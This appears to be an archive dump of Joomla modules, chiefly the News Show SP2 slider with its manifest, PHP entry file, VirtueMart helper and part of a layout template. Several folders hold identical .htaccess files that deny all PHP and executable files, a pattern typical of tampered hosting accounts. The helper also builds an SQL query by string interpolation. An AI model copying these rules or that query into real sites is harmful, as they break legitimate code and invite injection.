                    <option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
                </field>

                <field
                        name="cache_time"
                        type="text"
                        default="900"
                        label="COM_MODULES_FIELD_CACHE_TIME_LABEL" />
            </fieldset>
        </fields>
    </config>
</extension>
mod_login/tmpl/.htaccess000044400000000177150747276150011306 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_login/.htaccess000044400000000177150747276150010332 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_stats/tmpl/.htaccess000044400000000177150747276150011334 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_stats/.htaccess000044400000000177150747276150010360 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_articles_categories/tmpl/.htaccess000044400000000177150747276150014211 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_articles_categories/.htaccess000044400000000177150747276150013235 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_news_show_sp2/vmhelper.php000060400000011734150747276150012556 0ustar00<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

if (!class_exists( 'VmConfig' )) require(JPATH_ROOT.'/administrator/components/com_virtuemart/helpers/config.php');

VmConfig::loadConfig ();

// Load the language file of com_virtuemart.
VmConfig::loadJLang('com_virtuemart',true);
if (!class_exists ('calculationHelper')) {
	require(JPATH_ADMINISTRATOR . '/components/com_virtuemart/helpers/calculationh.php');
}
if (!class_exists ('CurrencyDisplay')) {
	require(JPATH_ADMINISTRATOR . '/components/com_virtuemart/helpers/currencydisplay.php');
}
if (!class_exists ('VirtueMartModelVendor')) {
	require(JPATH_ADMINISTRATOR . '/components/com_virtuemart/models/vendor.php');
}
if (!class_exists ('VmImage')) {
	require(JPATH_ADMINISTRATOR . '/components/com_virtuemart/helpers/image.php');
}
if (!class_exists ('shopFunctionsF')) {
	require(JPATH_SITE . '/components/com_virtuemart/helpers/shopfunctionsf.php');
}
if (!class_exists ('calculationHelper')) {
	require(JPATH_COMPONENT_SITE . '/helpers/cart.php');
}
if (!class_exists ('VirtueMartModelProduct')) {
	JLoader::import ('product', JPATH_ADMINISTRATOR . '/components/com_virtuemart/' . DS . 'models');
}

if (!class_exists( 'VmModel' )) require(JPATH_ADMINISTRATOR.'/components/com_virtuemart/helpers/vmmodel.php');

	
abstract class modNSSP2VMHelper {

	public static function getList($params,$count){

			$productModel = VmModel::getModel('Product');
			$products = $productModel->getProductListing($params->get('vmordering','latest'), $count, true, true, false, true, $params->get('vmcat',NULL));
			$productModel->addImages($products);
			$currency = CurrencyDisplay::getInstance( );
			
			
			if (count($products)) {
				foreach ($products as $item) {
					$author 			= JFactory::getUser($item->created_by);
					$item->created 		= $item->created_on;
					$item->author 		= $author->name;
					$item->hits 		= @$item->hits;
					$item->category 	= $item->category_name;
					$item->cat_link 	= JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='. $item->virtuemart_category_id);
					$item->image 		= $item->images[0]->file_url;
					$item->title 		= $item->product_name;
					$item->introtext 	= $item->product_s_desc;
					$item->price 		= round($item->prices['salesPrice'],2) . $currency->getSymbol();
					$item->addtocart 	= self::addtocart($item);
					$item->rating 		= self::getRating($item->virtuemart_product_id);
					$item->link 		= JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$item->virtuemart_product_id.'&virtuemart_category_id='.$item->virtuemart_category_id);
					$rows[] = $item;
				}
				return $rows;
			}				
			
	}	
	
	private static function addtocart($product) {
		$output = '';
		ob_start();
        if (!VmConfig::get ('use_as_catalog', 0)) {	?>
                <div class="ns2-addtocart">

				<form method="post" class="product" action="index.php">
					<input type="hidden" class="quantity-input" name="quantity[]" value="1" />
					<?php
					$button_lbl = JText::_('COM_VIRTUEMART_CART_ADD_TO');
					$button_cls = ''; 
					// Display the add to cart button
					$stockhandle = VmConfig::get('stockhandle','none');
					if(($stockhandle=='disableit' or $stockhandle=='disableadd') and ($product->product_in_stock - $product->product_ordered)<1){
						$button_lbl = JText::_('COM_VIRTUEMART_CART_NOTIFY');
						$button_cls = 'notify-button';
						$button_name = 'notifycustomer';
					}
					?>
					<?php // Display the add to cart button ?>
					<input type="submit" name="addtocart"  class="addtocart-button" value="<?php echo $button_lbl ?>" title="<?php echo $button_lbl ?>" />
                    <div class="clear"></div>
                    <input type="hidden" class="pname" value="<?php echo $product->product_name ?>"/>
                    <input type="hidden" name="option" value="com_virtuemart" />
                    <input type="hidden" name="view" value="cart" />
                    <noscript><input type="hidden" name="task" value="add" /></noscript>
                    <input type="hidden" name="virtuemart_product_id[]" value="<?php echo $product->virtuemart_product_id ?>" />
                    <input type="hidden" name="virtuemart_category_id[]" value="<?php echo $product->virtuemart_category_id ?>" />
                </form>
				<div class="clear"></div>
            </div>
        <?php }
		$output = ob_get_clean();
		return $output;			
    }	
	 
	 /*Virtuemart Product Rating*/
	private static function getRating ($product_id) {
		$db = JFactory::getDBO();
		$query = "SELECT * FROM #__virtuemart_ratings WHERE virtuemart_product_id={$product_id}";
		$db->setQuery($query);
		$item = $db->loadObject();
		if (count($item)==1) {
			$rating = number_format(intval($item->rates) / intval($item->ratingcount), 2) * 20;	
		} else {
			$rating = 0;
		}
		return $rating;
	}
}mod_news_show_sp2/mod_news_show_sp2.xml000060400000042301150747276150014376 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.3.0" client="site" method="upgrade">
	<name>News Show SP2</name>
	<author>JoomShaper.com</author>
	<creationDate>Feb 2012</creationDate>
	<copyright>Copyright (C) 2010 - 2015 JoomShaper.com. All rights reserved.</copyright>
	<license>GNU/GPL V2 or Later</license>
	<authorEmail>support@joomshaper.com</authorEmail>
	<authorUrl>www.joomshaper.com</authorUrl>
	<version>2.9</version>
	<description>JoomShaper News Display/Slider Module for 3</description>
	<files>
		<filename module="mod_news_show_sp2">mod_news_show_sp2.php</filename>
			<folder>assets</folder>
			<folder>elements</folder>
			<folder>language</folder>
			<folder>tmpl</folder>
			<filename>common.php</filename>
			<filename>image.php</filename>
			<filename>helper.php</filename>
			<filename>k2helper.php</filename>
			<filename>vmhelper.php</filename>
			<filename>social.php</filename>
			<filename>index.html</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB.mod_news_show_sp2.ini</language>
	</languages>	
	<config>
		 <fields name="params" addfieldpath="/modules/mod_news_show_sp2/elements">
			<fieldset name="DATASOURCE">
				<field type="assets" name="asset" />
				<field name="uniqid" type="text" default="" label="UNIQID" description="UNIQID_DESC"/>
				<field name="content_source" type="list" default="joomla" label="CONTENT_SOURCE" description="CONTENT_SOURCE_DESC">
				  <option value="joomla">JOOMLA</option>
				  <option value="k2">MODK2</option>
				  <option value="vm">MODVM</option>
				</field>			
				<field name="catids" type="category" extension="com_content" multiple="true" size="10" default="" label="CATEGORY" description="CATEGORY_DESC" />						
				<field name="k2catids" type="k2category" default="all" label="K2CATEGORY" description="K2CATEGORY_DESC"/>
				<field name="vmcat" type="vmcategories" default="all" label="VMCATEGORY" description="VMCATEGORY_DESC"/>
				<field name="vmordering" class="vm" type="list" default="latest" label="ORDER" description="ORDER_DESC">
					<option value="featured">FEATURED_PRODUCTS</option>
					<option value="latest">LATEST_PRODUCTS</option>
					<option value="topten">BEST_SALES</option>
				</field>
				<field name="ordering" type="list" default="a.created" label="ORDER" description="ORDER_DESC">
					<option value="a.ordering">JOOMLA_ORDERING</option>
					<option value="a.publish_up">PUBLISHED_UP</option>
					<option value="a.hits">HITS</option>
					<option value="a.title">TITLE</option>
					<option value="a.id">ID</option>
					<option value="a.alias">ALIAS</option>
					<option value="a.created">CREATED</option>
					<option value="a.modified">MODIFIED</option>
				</field>
				<field name="ordering_direction" type="list" default="ASC" label="ORDERING_FILTER" description="ORDERING_FILTER_DESC">
					<option value="DESC">FILTER_DESC</option>
					<option value="ASC">FILTER_ASC</option>
				</field>
				<field name="user_id" type="list" default="0" label="AUTHORS" description="AUTHORS_DESC">
					<option value="0">ANYONE</option>
					<option value="by_me">BYME</option>
					<option value="not_me">NOTBYME</option>
				</field>
				<field name="show_featured" type="list" default="" label="FEATURED" description="FEATURED_DESC">
					<option value="">JSHOW</option>
					<option value="0">JHIDE</option>
					<option value="1">ONLY_SHOW_FEATURED</option>
				</field>
			</fieldset>
			
			<fieldset name="ARTICLE_LAYOUT">			
				<field name="article_column" type="text" default="1" label="ARTICLE_COLUMN" description="ARTICLE_COLUMN_DESC" />
				<field name="article_row" type="text" default="1" label="ARTICLE_ROW" description="ARTICLE_ROW_DESC" />
				<field name="article_col_padding" type="text" default="3px 3px 3px 3px" label="COLUMN_PADDING" description="COLUMN_PADDING_DESC" />
				<field name="article_showtitle" type="radio" default="1" label="SHOW_TITLE" description="SHOW_TITLE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_linkedtitle" type="radio" default="1" label="LINKED_TITLE" description="LINKED_TITLE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>	
				<field name="article_title_text_limit" type="radio" default="1" label="TITLE_TEXT_LIMIT" description="TITLE_TEXT_LIMIT_DESC" class="btn-group">
					<option value="0">WORDS</option>
					<option value="1">CHARS</option>
				</field>
				<field name="article_count_title_text" type="text" default="0" size="2" />
				<field name="article_introtext" type="radio" default="1" label="SHOW_INTRO" description="SHOW_INTRO_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_intro_text_limit" type="radio" default="0" label="INTRO_TEXT_LIMIT" description="INTRO_TEXT_LIMIT_DESC" class="btn-group">
					<option value="0">WORDS</option>
					<option value="1">CHARS</option>
				</field>
				<field name="article_count_intro_text" type="text" default="30" size="2" />	
				<field name="article_date_format" type="list" default="DATE_FORMAT_LC3" label="DATE_FORMAT" description="DATE_FORMAT_DESC">
					<option value="0">JHIDE</option>
					<option value="DATE_FORMAT_LC">DATE_FORMAT_LC</option>
					<option value="DATE_FORMAT_LC1">DATE_FORMAT_LC1</option>
					<option value="DATE_FORMAT_LC2">DATE_FORMAT_LC2</option>
					<option value="DATE_FORMAT_LC3">DATE_FORMAT_LC3</option>
					<option value="DATE_FORMAT_LC4">DATE_FORMAT_LC4</option>
					<option value="blog">Blog</option>
				</field>
				<field name="article_show_author" type="radio" default="0" label="SHOW_AUTHOR" description="SHOW_AUTHOR_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>	
				<field name="article_show_category" type="radio" default="0" label="SHOW_CAT" description="SHOW_CAT_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>	
				<field name="article_linked_category" type="radio" default="1" label="LINKED_CAT" description="LINKED_CAT_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_show_ratings" type="radio" default="0" label="SHOW_RATINGS" description="SHOW_RATINGS_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>				
				<field name="article_show_image" type="radio" default="1" label="SHOW_IMAGE" description="SHOW_IMAGE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_linked_image" type="radio" default="1" label="LINKED_IMAGE" description="LINKED_IMAGE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>				
				<field name="article_image_pos" type="list" default="bottom" label="IMGPOS" description="IMGPOS_DESC">
					<option value="top">BEFORE_TITLE</option>
					<option value="bottom">AFTER_TITLE</option>
				</field>
				<field name="article_image_float" type="list" default="float:left">
					<option value="float:left">float:left</option>
					<option value="float:right">float:right</option>
					<option value="float:none">float:none</option>
				</field>
				<field name="article_image_margin" type="text" default="0 0 0 0" label="IMG_MARGIN" description="IMG_MARGIN_DESC" />				
				<field name="article_thumb_width" type="text" default="50" label="THUMBWIDTH" description="THUMBWIDTH_DESC" />	
				<field name="article_thumb_height" type="text" default="50" label="THUMBHEIGHT" description="THUMBHEIGHT_DESC" />	
				<!--K2 Specific-->
				<field name="article_extra_fields" type="radio" default="0" label="SHOW_EXTRA_FIELDS" description="SHOW_EXTRA_FIELDS_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<!--End K2 Specific-->
				<field name="article_show_more" type="radio" default="1" label="SHOW_READMORE" description="SHOW_READMORE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>	
				<field name="article_more_text" type="text" size="5" default="Read More..." />
				<field name="article_comments" type="radio" default="1" label="SHOW_COMMENTS" description="SHOW_COMMENTS_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>	
				<field name="article_hits" type="radio" default="1" label="SHOW_HITS" description="SHOW_HITS_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				
				<!--Social Share-->
				<field name="btn_like" type="radio" default="0" label="LIKE_BUTTON" description="" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				
				<field name="btn_twitter" type="radio" default="0" label="TWITTER" description="" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>	
				
				<field name="btn_gplus" type="radio" default="0" label="GPLUS" description="" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<!--End Social Share-->
				
				<!--Virtuemart-->
				<field name="art_show_price" type="radio" default="0" class="btn-group vm" label="SHOW_PRICE" description="SHOW_PRICE_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="art_show_cart_button" type="radio" default="0" class="btn-group vm" label="SHOW_CART_BUTTON" description="SHOW_CART_BUTTON_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>				
				<!--End Virtuemart-->
				
				<!--Animation-->
				<field name="article_animation" type="list" default="nssp2-slide" label="ANIMATION" description="ANIMATION_DESC">
					<option value="disabled">DISABLED</option>
					<option value="nssp2-slide">SLIDE</option>
					<option value="nssp2-slide nssp2-fade">FADE</option>
					<option value="nssp2-noeffect">NOEFFECT</option>
				</field>				
				<field name="article_slide_count" type="text" default="2" label="ARTICLE_SLIDE_COUNT" description="ARTICLE_SLIDE_COUNT_DESC" class="btn-group ani1" />	
				<field name="article_controllers_style" type="list" default="nssp2-default" label="Controllers Style" description="Controllers Style" class="btn-group ani1">
					<option value="nssp2-default">Default</option>
					<option value=" ">Custom</option>
				</field>				
				<field name="article_pagination" type="radio" default="1" label="PAGINATION" description="PAGINATION_DESC" class="btn-group ani1">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_arrows" type="radio" default="0" label="SHOW_ARROWS" description="SHOW_ARROWS_DESC" class="btn-group ani1">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_autoplay" type="radio" default="1" label="AUTOPLAY" description="AUTOPLAY_DESC" class="btn-group ani1">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="article_animation_interval" type="text" default="5000" label="INTERVAL" description="INTERVAL_DESC" class="btn-group ani1" />
			</fieldset>		
			
			<fieldset name="LINKS_LAYOUT">
				<field name="links_block" type="radio" default="0" label="LINKS_BLOCK" description="LINKS_BLOCK_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_count" type="text" default="3" label="LINKS_COUNT" description="LINKS_COUNT_DESC" />		
				<field name="links_col_padding" type="text" default="3px 3px 3px 3px" label="COLUMN_PADDING" description="COLUMN_PADDING_DESC" />				
				<field name="links_position" type="list" default="bottom" label="LINKS_POSITION" description="LINKS_POSITION_DESC">
					<option value="bottom">BOTTOM</option>
					<option value="right">RIGHT</option>
				</field>
				<field name="links_more" type="radio" default="1" label="LINKS_MORE" description="LINKS_MORE_DESC" class="btn-group">
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>	
				<field name="links_more_text" type="text" default="MORE" size="10" />				
				<field name="links_title_text_limit" type="radio" default="1" label="TITLE_TEXT_LIMIT" description="TITLE_TEXT_LIMIT_DESC" class="btn-group">
					<option value="0">WORDS</option>
					<option value="1">CHARS</option>
				</field>				
				<field name="links_title_count" type="text" default="0" size="2" />
				<field name="links_show_intro" type="radio" default="0" label="SHOW_INTRO" description="SHOW_INTRO_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_intro_text_limit" type="radio" default="0" label="INTRO_TEXT_LIMIT" description="INTRO_TEXT_LIMIT_DESC" class="btn-group">
					<option value="0">WORDS</option>
					<option value="1">CHARS</option>
				</field>
				<field name="links_intro_count" type="text" default="20" size="2" />					
				<field name="links_show_image" type="radio" default="0" label="SHOW_IMAGE" description="SHOW_IMAGE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_linked_image" type="radio" default="1" label="LINKED_IMAGE" description="LINKED_IMAGE_DESC" class="btn-group">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>				
				<field name="links_image_pos" type="list" default="bottom" label="IMGPOS" description="IMGPOS_DESC">
					<option value="top">BEFORE_TITLE</option>
					<option value="bottom">AFTER_TITLE</option>
				</field>
				<field name="links_image_float" type="list" default="float:left">
					<option value="float:left">float:left</option>
					<option value="float:right">float:right</option>
					<option value="float:none">float:none</option>
				</field>				
				<field name="links_image_margin" type="text" default="0 0 0 0" label="IMG_MARGIN" description="IMG_MARGIN_DESC" />			
				<field name="links_thumb_width" type="text" default="50" label="THUMBWIDTH" description="THUMBWIDTH_DESC" />	
				<field name="links_thumb_height" type="text" default="50" label="THUMBHEIGHT" description="THUMBHEIGHT_DESC" />
				<!--Virtuemart-->
				<field name="links_show_price" type="radio" default="0" class="btn-group vm" label="SHOW_PRICE" description="SHOW_PRICE_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_show_cart_button" type="radio" default="0" class="btn-group vm" label="SHOW_CART_BUTTON" description="SHOW_CART_BUTTON_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>				
				<!--End Virtuemart-->
				
				<!--Animation-->
				<field name="links_animation" type="list" default="nssp2-slide" label="ANIMATION" description="ANIMATION_DESC">
					<option value="disabled">DISABLED</option>
					<option value="nssp2-slide">SLIDE</option>
					<option value="nssp2-slide nssp2-fade">FADE</option>
					<option value="nssp2-noeffect">NOEFFECT</option>
				</field>
				<field name="links_slide_count" type="text" default="2" label="ARTICLE_SLIDE_COUNT" description="ARTICLE_SLIDE_COUNT_DESC" class="btn-group ani2" />	
				<field name="links_controllers_style" type="list" default="nssp2-default" label="Controllers Style" description="Controllers Style" class="btn-group ani2">
					<option value="nssp2-default">Default</option>
					<option value=" ">Custom</option>
				</field>
				<field name="links_pagination" type="radio" default="1" label="PAGINATION" description="PAGINATION_DESC" class="btn-group ani2">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_arrows" type="radio" default="0" label="SHOW_ARROWS" description="SHOW_ARROWS_DESC" class="btn-group ani2">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_autoplay" type="radio" default="1" label="AUTOPLAY" description="AUTOPLAY_DESC" class="btn-group ani2">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="links_animation_interval" type="text" default="5000" label="INTERVAL" description="INTERVAL_DESC" class="btn-group ani2" />		
			</fieldset>	
				
			<fieldset name="advanced">
				<field name="layout" type="modulelayout" label="JFIELD_ALT_LAYOUT_LABEL" description="JFIELD_ALT_MODULE_LAYOUT_DESC" />
				<field name="moduleclass_sfx" type="text" default="" label="MODSFX" description="MODSFX_DESC" />
				<field name="cache" type="list" default="1" label="COM_MODULES_FIELD_CACHING_LABEL" description="COM_MODULES_FIELD_CACHING_DESC">
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>
				<field name="cache_time" type="text" default="900" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
				<field name="cachemode" type="hidden" default="itemid">
					<option value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>mod_news_show_sp2/mod_news_show_sp2.php000060400000017100150747276150014364 0ustar00<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined('_JEXEC') or die('Restricted access');
$doc 								= JFactory::getDocument();

//Basic
$moduleclass_sfx 					= $params->get('moduleclass_sfx');
$layout 							= $params->get('layout', 'default');
$moduleName         				= basename(dirname(__FILE__));
$uniqid								= ($params->get('uniqid')=="") ? $module->id : $params->get('uniqid');
$content_source						= $params->get('content_source');

//Article Layout
$article_column						= $params->get('article_column');
$article_row						= $params->get('article_row');
$article_col_padding				= $params->get('article_col_padding');
$article_showtitle					= $params->get('article_showtitle');
$article_linkedtitle				= $params->get('article_linkedtitle');
$article_title_text_limit			= $params->get('article_title_text_limit');
$article_count_title_text			= $params->get('article_count_title_text');
$article_introtext					= $params->get('article_introtext');
$article_intro_text_limit			= $params->get('article_intro_text_limit');
$article_count_intro_text			= $params->get('article_count_intro_text');
$article_date_format				= $params->get('article_date_format');
$article_show_author				= $params->get('article_show_author');
$article_show_category				= $params->get('article_show_category');
$article_linked_category			= $params->get('article_linked_category');
$article_show_image					= $params->get('article_show_image');
$article_linked_image				= $params->get('article_linked_image');
$article_image_pos					= $params->get('article_image_pos');
$article_image_float				= $params->get('article_image_float');			
$article_image_margin				= $params->get('article_image_margin');
$article_thumb_width				= $params->get('article_thumb_width');
$article_thumb_height				= $params->get('article_thumb_height');
$article_thumb_ratio				= $params->get('article_thumb_ratio');
$article_extra_fields				= $params->get('article_extra_fields');
$article_show_more					= $params->get('article_show_more');
$article_more_text					= $params->get('article_more_text');
$article_comments					= $params->get('article_comments');
$article_hits						= $params->get('article_hits');
$article_show_ratings				= $params->get('article_show_ratings');
$article_animation					= $params->get('article_animation');

if( ( $article_animation == 'cover-horizontal-push' ) || ( $article_animation == 'cover-vertical-push' ) )
{
	$article_animation 				= 'nssp2-slide';

}
else if ( $article_animation == 'cover-inplace-fade' )
{
	$article_animation 				= 'nssp2-slide nssp2-fade';
} 
else if ( $article_animation == 'cover-inplace' )
{
	$article_animation 				= 'nssp2-noeffect';
}


$article_slide_count				= $params->get('article_slide_count');
$article_controllers_style			= $params->get('article_controllers_style', 'nssp2-default');
$article_pagination					= $params->get('article_pagination');
$article_arrows						= $params->get('article_arrows');
$article_autoplay					= $params->get('article_autoplay');
$article_animation_interval			= ( $article_autoplay ) ? $params->get('article_animation_interval') : 'false';

//Links Layout
$links_block						= $params->get('links_block');
$links_count						= $params->get('links_count');
$links_col_padding					= $params->get('links_col_padding');
$links_position						= $params->get('links_position');
$links_more							= $params->get('links_more');
$links_more_text					= $params->get('links_more_text');
$links_title_text_limit				= $params->get('links_title_text_limit');
$links_title_count					= $params->get('links_title_count');
$links_show_intro					= $params->get('links_show_intro');
$links_intro_text_limit				= $params->get('links_intro_text_limit');
$links_intro_count					= $params->get('links_intro_count');
$links_show_image					= $params->get('links_show_image');
$links_linked_image					= $params->get('links_linked_image');
$links_image_pos					= $params->get('links_image_pos');
$links_image_float					= $params->get('links_image_float');
$links_image_margin					= $params->get('links_image_margin');
$links_thumb_width					= $params->get('links_thumb_width');
$links_thumb_height					= $params->get('links_thumb_height');
$links_thumb_ratio					= $params->get('links_thumb_ratio');
$links_animation					= $params->get('links_animation');

if( ( $links_animation == 'cover-horizontal-push' ) || ( $links_animation == 'cover-vertical-push' ) )
{
	$links_animation 				= 'nssp2-slide';

}
else if ( $links_animation == 'cover-inplace-fade' )
{
	$links_animation 				= 'nssp2-slide nssp2-fade';
} 
else if ( $links_animation == 'cover-inplace' )
{
	$links_animation 				= 'nssp2-noeffect';
}

$links_slide_count					= $params->get('links_slide_count');
$links_controllers_style			= $params->get('links_controllers_style', 'nssp2-default');
$links_pagination					= $params->get('links_pagination');
$links_arrows						= $params->get('links_arrows');
$links_autoplay						= $params->get('links_autoplay');
$links_animation_interval			= ( $links_autoplay ) ? $params->get('links_animation_interval') : 'false';

//Virtuemart
$art_show_price 					= $params->get('art_show_price');
$links_show_price 					= $params->get('links_show_price');
$art_show_cart_button 				= $params->get('art_show_cart_button');
$links_show_cart_button 			= $params->get('links_show_cart_button');

JHtml::_('jquery.framework'); //jQuery
	
//Calculated count	
if ($article_animation!="disabled") {
	$c_article_count				= $article_column*$article_row*$article_slide_count;
} else {
	$c_article_count				= $article_column*$article_row;
}

if ($links_block) {
	if ($links_animation!="disabled") {
		$c_links_count					= $links_count*$links_slide_count;
	} else {
		$c_links_count					= $links_count;
	}
} else {
	$c_links_count						= 0;
}

$c_count 							= $c_article_count + $c_links_count;

require_once (dirname(__FILE__).'/common.php');//include common.php file

if ($content_source=="joomla") {
	require_once (dirname(__FILE__).'/helper.php');
	$list 		= modNSSP2JHelper::getList($params, $c_count);
} elseif ($content_source=="vm") {
	if (!class_exists( 'VmModel' )) require(JPATH_ADMINISTRATOR.'/components/com_virtuemart/helpers/vmmodel.php');
	require_once (dirname(__FILE__).'/vmhelper.php');
	$list 		= modNSSP2VMHelper::getList($params, $c_count);	
} else {
	require_once (dirname(__FILE__).'/k2helper.php');
	$list 							= modNSSP2K2Helper::getList($params, $c_count);
}

//Social
require_once (dirname(__FILE__).'/social.php');

$a_count 							= count($list);//actual count

if ($c_count>$a_count) {
	$c_count						= $a_count;
	if ($c_article_count>=$c_count) {
		$c_article_count			= $c_count;
		$c_links_count				= 0;
	} else {
		if ($c_links_count>$c_count-$c_article_count) {
			$c_links_count			= $c_count-$c_article_count;
		}	
	}
}

if (($content_source=="vm") && ($art_show_cart_button || $links_show_cart_button)) {
	vmJsApi::jQuery();
	vmJsApi::jPrice();
	vmJsApi::cssSite();
}

$cssFile 							= JPATH_THEMES. '/'.$doc->template.'/css/'.$moduleName.'.css';

if(file_exists($cssFile)) {
	$doc->addStylesheet(JURI::base(true) . '/templates/'.$doc->template.'/css/'. $moduleName . '.css');
} else {
	$doc->addStylesheet(JURI::base(true) . '/modules/'.$moduleName.'/assets/css/' . $moduleName . '.css');
}

if ($article_animation!="disabled" || ($links_block && $c_links_count!=0 && $links_animation!="disabled")) {
	$doc->addScript(JURI::base(true) . '/modules/mod_news_show_sp2/assets/js/nssp2.js');
}
require(JModuleHelper::getLayoutPath('mod_news_show_sp2', $layout));mod_news_show_sp2/tmpl/.htaccess000044400000000177150747276150012776 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_news_show_sp2/tmpl/default.php000060400000040075150747276150013334 0ustar00<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

$modId = $module->id;

if ( $article_column>=$c_article_count )
{
	$article_column 	= $c_article_count;
	$article_row		= 1;
}

$date_time 				= '';
$row 					= 0;
$link_row 				= 0;
$i 						= 0;
$j 						= 0;

?>

<div id="ns2-<?php echo $modId; ?>" class="nssp2 ns2-<?php echo $uniqid ?>">
	<div class="ns2-wrap">
		<?php if ($c_article_count > 0): ?>
			<div id="ns2-art-wrap<?php echo $modId; ?>" class="ns2-art-wrap <?php echo ($article_animation!="disabled") ? $article_animation . ' ' . $article_controllers_style : '' ?> <?php if ($links_block && $c_links_count!=0 && $links_position=="right"): ?> col-2 flt-left<?php endif; ?>">			
				<div class="ns2-art-pages nss2-inner">
				<?php for($i=0;$i<$c_article_count;$i++): $row++; ?>
					<?php
						if( $article_animation != "disabled" )
						{
							if( $i == 0 ){
								$anim_class = 'item active';
							}
							else
							{
								$anim_class = 'item';
							}
						}
						else
						{
							$anim_class = '';
						}
					?>
					<div class="ns2-page <?php echo $anim_class; ?>">
						<div class="ns2-page-inner">
						<?php for($j=0;$j<$article_row;$j++, $i++): ?>
							<div class="ns2-row <?php echo $j==0 ? 'ns2-first' : '' ?> <?php echo $j%2 ? 'ns2-even' : 'ns2-odd' ?>">
								<div class="ns2-row-inner">
								<?php for($z=0;$z<$article_column;$z++, $i++): ?>
									<?php if ($i <$c_article_count): ?>
									<div class="ns2-column flt-left col-<?php echo $article_column ?>">
										<div style="padding:<?php echo $article_col_padding ?>">
											<div class="ns2-inner">
												<?php /*Date type blog*/ if ($article_date_format=='blog'): ?>
